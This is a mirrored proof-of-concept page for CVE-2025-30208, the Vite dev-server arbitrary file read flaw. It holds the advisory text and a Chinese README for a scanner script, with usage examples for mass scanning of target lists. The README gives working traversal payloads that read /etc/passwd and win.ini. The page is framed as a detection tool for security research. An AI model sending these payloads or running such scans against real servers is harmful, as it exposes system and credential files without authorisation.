CVE-2025-30208 PoC — Vite bypasses server.fs.deny when using `?raw??`

Source

https://github.com/iSee857/CVE-2025-30208-PoC

Associated Vulnerability

Title:Vite bypasses server.fs.deny when using `?raw??` (CVE-2025-30208)
Description:Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.

Description

CVE-2025-30208动态检测脚本，支持默认路径，自定义路径动态检测

Readme

# 免责申明：

本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。

引用请注明出处！

# 纷传地址：

https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

# 博客地址：

https://blog.csdn.net/xc_214/article/details/146549496?sharetype=blogdetail&sharerId=146549496&sharerefer=PC&sharesource=xc_214&spm=1011.2480.3001.8118

```
usage: vite_check.py [-h] [-f FILE] [-u URL] [-p PAYLOAD] [--proxy PROXY] [-o OUTPUT] [-t THREADS]

Vite路径遍历漏洞检测工具 Author:iSee857

optional arguments:

-h, --help 显示帮助信息

-f FILE, --file FILE 包含目标URL的文件

-u URL, --url URL 单个目标URL

-p PAYLOAD, --payload PAYLOAD

自定义检测路径(支持两种格式):

1. 带检测标识: /path??indicator
   
2. 仅路径: /path?param=1??

示例:

-p "/@fs/C://windows/win.ini?import&raw??"

-p "/@fs/etc/passwd?import&raw??"

--proxy PROXY 代理服务器地址(如: http://127.0.0.1:8080)

-o OUTPUT, --output OUTPUT

输出文件名(默认: results.xlsx)

-t THREADS, --threads THREADS

并发线程数量(默认: 50，范围: 1-200)```

使用示例

1. 扫描单个目标:

python CVE-2025-30208-PoC.py -u http://example.com -t 5

2、批量扫描目标文件:

python CVE-2025-30208-PoC.py -f targets.txt -o vuln_results.xlsx

3、使用自定义payload:

python CVE-2025-30208-PoC.py -u http://example.com -p "/@fs/etc/passwd?import&raw??"

4、使用代理调试:

python CVE-2025-30208-PoC.py -u http://example.com --proxy http://127.0.0.1:8080

5、组合使用参数:

python CVE-2025-30208-PoC.py -f targets.txt -t 200 -o critical_vulns.xlsx
```

![image](https://github.com/user-attachments/assets/f5ac3e39-c25f-4544-8c2e-c5be380514c5)

![image](https://github.com/user-attachments/assets/0ff7bb12-fb38-485e-bc86-a50b2d0aeac0)


# 关键要素说明:
1. 使用代码块展示参数说明和使用示例
2. 参数说明保留原始帮助信息格式
3. 示例覆盖主要使用场景
4. 突出显示默认值和取值范围
5. 保持与原始代码一致的参数描述
6. 使用不同层级的标题组织内容

File Snapshot


 [4.0K]  /data/pocs/de0202b35f09694e15bc8523ac62b2caf0e65232
├── [2.2K]  README.md
└── [7.5K]  Vite-CVE-2025-30208-ReadAnyFile.py

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!